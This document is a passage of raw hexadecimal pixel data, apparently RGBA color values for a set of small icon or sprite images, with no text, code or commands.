DCFFFFFFFFFFC8C8C8FF3C3C3CFF747474FF242424FF0C0C0CFF0F0F0FFF0E0F
0BFF0C0E00FF201670FF2E1AD1FF2B18C8FF2B17C8FF2B17C8FF2B17C8FF2B18
C8FF2A16C8FF2914C8FF2712D1FF554E8DFF38359EFF2B26D3FF2E29CFFF2F2A
D0FF302BD0FF322CD4FF120F99FF6B6ADAFF3837D0FF221E9EFF312BD4FF302B
D0FF2F2AD0FF2D28CFFF2C27D5FF55548EFF7A5534FF8F470AFFAC7640FFB88A
57FF914B0DFF9A5C29FF90450BFFB5784DFFB5784DFF90450BFF9A5C29FF914B
0DFFB88A57FFAD7640FF904809FF7A6654FFC4C4C4FFFFFFFFFFFFFFFFFFFFFF
FFFF6D2200FF884000FF8A4300FF854001FF803D0EFF803D0EFF7B3702FF7B41
30FFFFFFFFFFFFFFFFFFFFFFFFFFA2A2A2FF252525FF090909FF0C0C0CFF0D0D
0DFF0E0E0EFF000000FFF9FBEBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A59EFF212192FF0808C1FF0909BCFF0A0A
BCFF0C0CBDFF0C0CC9FF070727FF5A5ADFFF1616BDFF0B0B36FF0C0CC8FF0A0A
BDFF0A0ABCFF0808BCFF0404C1FF484886FFBEBEB7FFF8FBFFFFA7A3FAFF9691
F4FFE0E5FFFFFFFFFAFFE9FFFFFF96F4FFFF96F4FFFFE9FFFFFFFFFFFAFFE0E4
FFFF9790F4FFA7A2FAFFFAFCFFFFA1A09BFFB7B7B7FFFFFFFFFFFFFFFFFFEFE6
DAFF6A2100FF3C1AC7FF3214E2FF622E5BFF8B4400FF823F0CFF894300FF4608
3CFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF242424FF0C0C0CFF0D0D0DFF0E0E
0EFF101010FF000000FFEBEBEBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF212192FF0909C1FF0C0CBFFF0B0B
BFFF0A0ABCFF0A0AC8FF07072BFF5555DDFF1616BFFF0A0A38FF0A0AC8FF0909
BDFF0808BCFF0606BCFF0303C1FF474786FF2F219DFF250DD2FF2D17D0FF2B16
CFFF2402CBFF0B9EE1FF0DCBF2FF18D3FDFF18D3FDFF0ECBF2FF0D9EE2FF2304
CAFF2611CEFF230ECEFF1B06D1FF4F488DFFB7B7B7FFFFFFFFFFFFFFFFFFF7EB
C9FF2C009CFF3516D6FF3A19CDFF3013E9FF5F2E61FF864200FF733730FF1000
CEFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF252525FF0E0E0EFF111111FF1111
11FF0F0F0FFF000000FFEBEBEBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4646A3FF4646DEFF4747DAFF4949
DBFF4A4ADCFF4A4ADDFF1B1BA4FF6E6EDBFF3939CFFF3030A9FF4545DAFF4444
D7FF4343D6FF4343D6FF4141DBFF5C5C90FF3D2F9EFF3922D7FF3B26D5FF3C28
D5FF3D24D5FF3154D2FF21D2EEFF1ECFF1FF1DCDF1FF1DD5EFFF2754CEFF3016
CEFF2F1BD0FF2D19CEFF2C18D5FF564E8DFFC7C7C7FFFAFAFAFFFFFFFFFFFFFF
FFFF370CB5FF411CCFFF3E1CCAFF3A17C9FF3415D9FF2E11E4FF2B0BDAFF4828
CFFFFFFFFFFFFFFFFFFFFDFDFDFFA2A2A2FF252525FF0F0F0FFF121212FF1414
14FF151415FF000000FFECEBF6FFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA1A0A4FF65655DFF7A7A6CFF79796BFF7B7B
6EFF7B7B6DFF7B7B6AFF9191B1FF6F6FECFF3838C2FFBEBEAEFF757567FF7C7C
6EFF7B7B6DFF7A7A6CFF7A7A6CFF6E6E69FF3F309EFF3C26D8FF3E28D6FF3F2A
D6FF3F2BD6FF4021D5FF385AD7FF2FA7E3FF2DA7E3FF3558D6FF3C1DD2FF3B27
D4FF3C27D5FF3C26D5FF3E26DBFF564F8FFF6A6A6AFF202020FFFAFAFAFFFFFF
FFFFC8BEF1FF2400C5FF4721CEFF4C26CFFF4925CFFF421ACCFF1F00C4FFECE9
FAFFFFFFFFFFBCBCBCFF424242FF6F6F6FFF262626FF101010FF131313FF1311
16FF0D0A17FF5C6E17FF85A507FF7B9D03FF7A9C01FF799B00FF779900FF7799
00FF789900FF789B00FF80A000FF6D7948FF202020FF070707FF0A0A0AFF0C0C
0CFF070707FF6A6A6AFF25251DFF2D2D5DFF101025FF6B6B68FF222222FF0B0B
0BFF0C0C0CFF0A0A0AFF060606FF474747FF3F309EFF3F27D9FF4029D5FF412B
D7FF422CD7FF422AD7FF451BD5FF3E3CD5FF4225D2FF4421D6FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF6B6B6BFF696969FF1E1E1EFFFFFF
FFFFFFFFFFFFCFC6F3FF4019CDFF2E01C8FF2C00C7FF502CD1FFEDE9F9FFFFFF
FFFFFFFFFFFF777777FF424242FF787878FF252525FF101010FF080613FF282E
15FF8BA716FF93B117FF8DAA17FF8DAA17FF8DAA17FF8DAA17FF8DAA17FF8DAA
16FF8CAA15FF8CA913FF8FAD0FFF707C49FF232323FF0B0B0BFF0E0E0EFF1010
10FF111111FF0F0F0FFF0E0E0EFF0E0E0AFF10100EFF090909FF141414FF1111
11FF101010FF0E0E0EFF0A0A0AFF474747FF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF3F2CD8FF2D8FD9FF29CAEBFF29D0EBFF3566D9FF4221D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF2A2A2AFF595959FF717171FF7070
70FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFF353535FF6D6D6DFF8E8E8EFF5C5C5CFF201F23FF04010BFF5C6D0EFF99BA
10FF8FAC11FF8DAB11FF8DAB11FF8DAB11FF8DAB11FF8DAB11FF8DAB11FF8DAB
11FF8DAB10FF8CA90EFF90AE0AFF707B47FF313131FF333333FF313131FF3333
33FF333333FF333333FF333333FF333333FF333333FF333333FF333333FF3333
33FF333333FF313131FF323232FF545454FF453AA5FF5B47E0FF5843DDFF5844
DDFF5A43DDFF5165DBFF5749DDFF5C36DBFF564BDBFF516EDFFF506CDDFF5A43
DDFF5844DDFF5744DDFF5945E1FF615B9CFFB4B4B4FF6B6B6BFF626262FFCCCC
CCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFC6C6C6FF5D5D5DFF565656FFB0B0B0FF3E422FFF9BB433FFA1BE31FF9CB5
33FF9CB533FF9CB533FF9CB533FF9CB533FF9CB533FF9CB533FF9CB533FF9CB5
33FF9CB533FF9BB531FF9EB732FF7C8955FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C5C5FFC5C5
C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5
C5FFC5C5C5FFC5C5C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0
C0FFBFBFC0FFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFC2C3BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9FA09AFF3C4CAEFFDFE5FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFECF1FFFF5B6297FF5B7D25FF6BB100FF69AA00FF69A9
03FF69A802FF69A802FF69A802FF69A802FF69A802FF69A802FF69A802FF69A8
02FF6AA903FF69A902FF6BAD00FF697E47FF99991EFFDAD401FFD6D102FFD5D1
03FFD5D002FFD5D002FFD5D002FFD5D002FFD5D002FFD5D002FFD5D002FFD5D0
02FFD6D103FFD6D102FFDDD600FF8B8D47FFBBBBB9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDCDFFCFF6D74EFFF4450E9FF4852E9FF7881F0FFF4F5FDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9CFF5C66B2FF0018E3FF6E7DECFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF7C8DEEFF001AE6FF5E659AFF4945A8FF4D5A94FF589214FF5C9E
00FF5C9807FF5C970AFF5C970AFF5C970AFF5C970AFF5C970AFF5C970AFF5C97
0AFF5B9709FF5A9608FF5A9806FF677C46FF9C9622FFD0C306FFCCC008FFCDC0
09FFCDC10AFFCDC10AFFCDC109FFD0C104FFD3C002FFCFC107FFCDC10AFFCDC1
0AFFCDC009FFCCC008FFD2C406FF8E8B46FFB8B8B7FFFFFFFFFFFFFFFFFFFFFF
FFFF9093F3FF0F15E5FF2A30E9FF3035E9FF2F34E9FF292EE8FF0C13E5FFBFC2
F8FFFFFFFFFFFFFFFFFFFFFFFFFF9A9C9AFFC9C7BCFFCCD1FCFF1028DFFF162E
E0FFD0D4F7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDDE0
F8FF2037E1FF0721DEFFC0C6FBFFA8A8A1FF423A9CFF3B2CD7FF3A27E1FF434D
95FF508818FF539400FF518D09FF518B0BFF518B0BFF508B0BFF508B0BFF508B
0BFF508B0AFF4F8A08FF4F8D06FF617648FF9B9023FFCEBD08FFCBB90BFFCABB
0CFFCCBA0DFFCFBA08FFCDB909FFA8C041FF86C474FFBDBD22FFCFB907FFCCBA
0DFFCABB0CFFCBB90AFFD1BD08FF8D8848FFB7B7B7FFFFFFFFFFFFFFFFFFD1D3
F9FF0000E6FF1719E9FF1719E9FF1719E9FF1719E9FF1719E9FF1618E9FF0000
E5FFFEFEFDFFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFF5E6D
E8FF000CD9FF6876EAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7888EBFF000D
DBFF4E5FE6FFFFFFFEFFFFFFFFFF9E9E9EFF3B309CFF311FD2FF3320D0FF331F
D6FF3219E3FF3B3F94FF4B811DFF529009FF478309FF448008FF448008FF4480
08FF437D07FF427C05FF428002FF5C7047FF988D23FFCDB609FFC9B40CFFCBB5
0EFFD0B405FFAEBA3BFFABB93BFF7BC183FFA1BC4DFF7DC07DFFB9B727FFCEB4
09FFCBB50EFFC9B40CFFD0B809FF8C8549FFB7B7B7FFFFFFFFFFFFFFFFFF3535
ECFF0101E8FF0E0EEBFF0E0EEBFF0E0EEBFF0E0EEBFF0E0EEBFF0E0EEBFF0000
E8FF6969F1FFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFC5CBF6FF0B22DCFF1229DDFFD4D7F7FFE2E5FAFF1C32DFFF021BDBFFB7BE
F4FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3A2C9EFF2B14D3FF2510CEFF301B
D1FF301CD1FF301AD7FF2B11DEFF816DF5FFFFFCFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A2A5FF998C25FFCCB50AFFC9B20DFFCEB3
08FFAAB83DFF80BE7CFFC4B518FFB8B729FFC6B414FFACB83DFF6CC196FFC7B4
12FFCCB30CFFCAB20CFFCEB609FF8B8349FFB7B7B7FFFFFFFFFFFFFFFFFF0000
E6FF0D0DEBFF1010EBFF1010EBFF1010EBFF1010EBFF1010EBFF1010EBFF0505
E9FF2C2CECFFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF6A78EAFF051EDCFF061FDCFF5A69E7FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF382B9DFF4C39DAFFB4ADEEFF2815
CEFF311ED1FF321FD1FF311ED1FF2A16CFFF1A07CBFF6558DCFFDFDCF7FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF988C24FFCEB80CFFCAB30DFFD2B2
03FF61C3A9FFB5B72FFF93BC61FF4EC6C5FF5BC5B1FFADB839FF70C191FF9ABA
56FFCFB307FFCAB30CFFCFB609FF8B8349FFB7B7B7FFFFFFFFFFFFFFFFFF0202
E8FF0A0AEAFF0F0FEAFF0F0FEBFF1010EBFF1010EBFF1010EBFF1010EBFF0404
E9FF3333ECFFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDFE0F9FF283DE1FF2439E1FF2D41E3FF1F35E0FFD1D5F7FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3A2E9EFF4431DAFF9D92E9FF2D19
CFFF311ED0FF301DD0FF301DD0FF2914CFFF1F0BCCFF8173E2FFF0F0FBFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF998C25FFCFBA0EFFCDB811FFD0B6
0CFFAAB93FFFB0B734FF4FC5C4FF1ECEFFFF1CCEFFFF61C4A8FFC1B41DFFB5B7
2FFFCCB30BFFCAB30CFFCEB609FF8B8349FFB7B7B7FFFFFFFFFFFFFFFFFF4F4F
F0FF0707EBFF1414ECFF1111EAFF0E0EEAFF0F0FEAFF0F0FEAFF0F0FEBFF0000
E7FF7D7DF3FFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF818EECFF0016DCFF5969E9FF92A8D9FF7D9AD2FF6C77ECFF000BD7FF6774
E8FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3D2F9EFF3720D7FF331DD3FF3C28
D5FF3C28D6FF3A26DAFF3722E1FF998DF4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF998D25FFD1BB0FFFCDBA12FFCFBA
14FFD4B90DFFBFBB29FF5AC6B8FF1DCDFFFF17CEFFFF73C18DFFCCB30AFFCCB2
0AFFCAB30DFFC9B10BFFCFB709FF8B8349FFB7B7B7FFFFFFFFFFFFFFFFFFF4F4
FDFF0000E7FF1515EBFF1717ECFF1818ECFF1616ECFF1515ECFF0F0FEAFF0000
E7FFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFFBBB9B9FFFFFFFFFFDEE1F9FF263F
E2FF112CDFFFBBC1F5FFFFFFFFFF1651B6FF084AB3FFFFFFFFFFC9CDF6FF152E
E0FF1B34E1FFD1D6F8FFFFFFFFFF9E9E9EFF3F309EFF3C26D8FF3E28D6FF402B
DFFF422CE5FF2F2287FF161613FF0C0D03FF020301FF000000FF000000FF0000
00FF000000FF000000FF000000FF474747FF998E26FFD2BD10FFCEBA13FFD0BC
16FFD0BC17FFD5BA11FFA8C158FF67CBB6FF7BC797FFAFBE47FFD3B90FFFCFBA
15FFCFBA14FFCFBA12FFD5C00FFF8C8449FFB7B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFC2C2F9FF0000E8FF0404EBFF0D0DECFF0C0CECFF0000EBFF0000EAFFEAEA
FCFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFFC6C5BBFF8492F2FF001DDEFF586B
E8FFFFFFFFFFFFFFFFFFFFFFFFFF0B4DB9FF0957BAFFFAF2F9FFFFFFFFFFFFFF
FFFF6678EBFF001BDEFF7688F4FFA3A29EFF3F309EFF4228E3FF432CE6FF2F22
87FF161615FF14150AFF161715FF171717FF171717FF171717FF171717FF1616
16FF151515FF131313FF0F0F0FFF494949FF9A8D25FFD3BF10FFD1BD13FFD1BC
15FFD1BE16FFD1BE16FFD4BD11FFCDBD1FFFD1BC17FFD4BD11FFD1BE17FFD1BE
16FFD1BD15FFD1BD13FFD6C20FFF8C8449FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF7676F5FF3838EFFF3D3DF1FF8989F6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF989898FF2F3FA8FF0F2FE5FFBCC3F7FFFFFF
FFFFFFFFFFFFFFFFFFFFF9FCFBFF36A3DFFF35A2DEFFE6F7F7FFFFFFFFFFFFFF
FFFFFFFFFFFFCBD0F9FF1637E9FF475092FF3F30AAFF2A1985FF0E0D0CFF0D0E
03FF10110FFF111111FF111111FF111111FF111111FF111111FF111111FF1111
11FF101010FF0E0E0EFF0A0A0AFF474747FF9B8E23FFD5C00BFFD1BC0EFFD2BE
10FFD2BE11FFD2BE11FFD2BE11FFD3BE0FFFD2BE0FFFD2BE11FFD2BE11FFD2BE
11FFD2BE10FFD1BC0EFFD8C30AFF8A8347FFC3C3C3FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF5C66B0FFFFFFFFFFFFFFFCFFFDFD
FDFFFDFDFDFFFDFDFDFFFAFAFBFFF7FBF8FFE8F7F7FFFDFBFBFFFDFDFDFFFDFD
FDFFFDFDFDFFFFFFFCFFFFFFFFFF767BA4FF302F2FFF303227FF31312FFF3333
33FF333333FF333333FF333333FF333333FF333333FF333333FF333333FF3333
33FF333333FF313131FF323232FF555555FFA0942FFFDBCA33FFD8C631FFD8C6
33FFD8C633FFD8C633FFD8C633FFD8C633FFD8C633FFD8C633FFD8C633FFD8C6
33FFD8C633FFD8C731FFDCCA32FF999255FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFBFBF
BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C5C6FFC6C6
C6FFC6C6C6FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC6C5C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFD8D8D8FFBEBEBEFFBEBEBEFFBEBE
BEFFBEBEBEFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBEBE
BEFFBEBEBEFFBEBEBEFFBDBDBDFFFFFFFFFFFFFFFFFFC4C4C4FFC6C5C6FFC6C5
C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6
C6FFC6C5C6FFC6C5C6FFC3C3C3FFFFFFFFFFB8BEC3FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9FA2FF4EA23CFF59EB3AFF54E336FF55E2
37FF39D918FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9FFFFFF09AF
FFFF23BAFFFF25BBFFFF27C7FFFF52829DFF50ACB6FF53E9FFFF53E6FFFF53E5
FFFF4CE4FFFFD3FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD7FEBCFF93EC
4DFF97ED53FF97EE53FF99F354FF789A63FF57BEA5FF62FF6CFF57FD33FF5AFF
4AFF5AFF51FF5AFF51FF5AFF51FF5AFF51FF5AFF51FF5AFF51FF5AFF51FF5AFF
51FF5AFF4AFF58FD33FF64FF73FF669D8FFF944520FFC34103FFBF4004FFC142
06FFC14106FFC14106FFC14106FFC14106FFC14106FFC14106FFC14106FFC141
06FFC14205FFC04004FFC64102FF895C48FF4B8634FF4BAF27FF4AAB26FF4BAB
29FF2D9E08FFFFFFFFFFFFFFFCFFFFFEFBFFFFFEFBFFFFFFFBFFE7F0FAFF005F
FEFF1E72FFFF1B71FFFF1B75FFFF516F9CFF419ABCFF38BFFAFF3ABFF8FF3BBF
F8FF33BBF7FFC8ECFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCEAADFF81CD
34FF85CF3BFF85CE3AFF86D138FF74955AFF57B2BBFF64F6FFFF5DEADEFF52D7
55FF4DD123FF4FD43AFF51D642FF51D642FF51D642FF51D642FF4FD43AFF4DD1
22FF52D956FF5DEADFFF65FBFFFF68989CFF923F20FFC03800FFBE3900FFBD3B
00FFBD3A00FFBD3A00FFBD3C00FFBF3F02FFBE3C00FFBD3C00FFBD3A00FFBD3A
00FFBE3B00FFBC3900FFC23900FF865847FF45722EFF459119FF438E1AFF448E
1DFF287A00FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE6E9F9FF002A
FDFF1743FEFF1440FEFF1441FFFF4E5D9AFF3386B9FF23A5FAFF24A3F8FF26A4
F8FF1CA0F7FFC1E5FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC5E1A6FF71B6
1EFF77B925FF75B924FF75BB21FF6F8B52FF56B1BCFF5AEFFFFF5AE8FFFF5DED
FFFF58E3DDFF4CCD4BFF49C216FF4BC72EFF4BC72EFF49C215FF4CCD4DFF58E3
DFFF5DEDFFFF5AE8FFFF5CF4FFFF65979DFFBEC5C9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E6DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A4A5FF426327FF3E740DFF3E7410FF4175
10FF215E00FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE6E6F8FF0000
FDFF101AFEFF0E1AFEFF0B17FFFF4C509AFF2873B6FF108EF9FF138EF6FF158F
F6FF0A8AF7FFBCDEFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC2DA9DFF67A6
0CFF6BA914FF6AA813FF6AAA10FF6A814AFF448088FF61FFFFFF5AF0FFFF55E4
F9FF57E4FFFF59E9FFFF54DDDAFF47BF3AFF47BF3DFF54DDDBFF59E9FFFF57E4
FFFF55E4F9FF59F1FFFF61FFFFFF5C8084FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFF4E3DAFFEDCCBAFFC75723FFDB9570FFEBC5B3FFFFFFFFFFFFFF
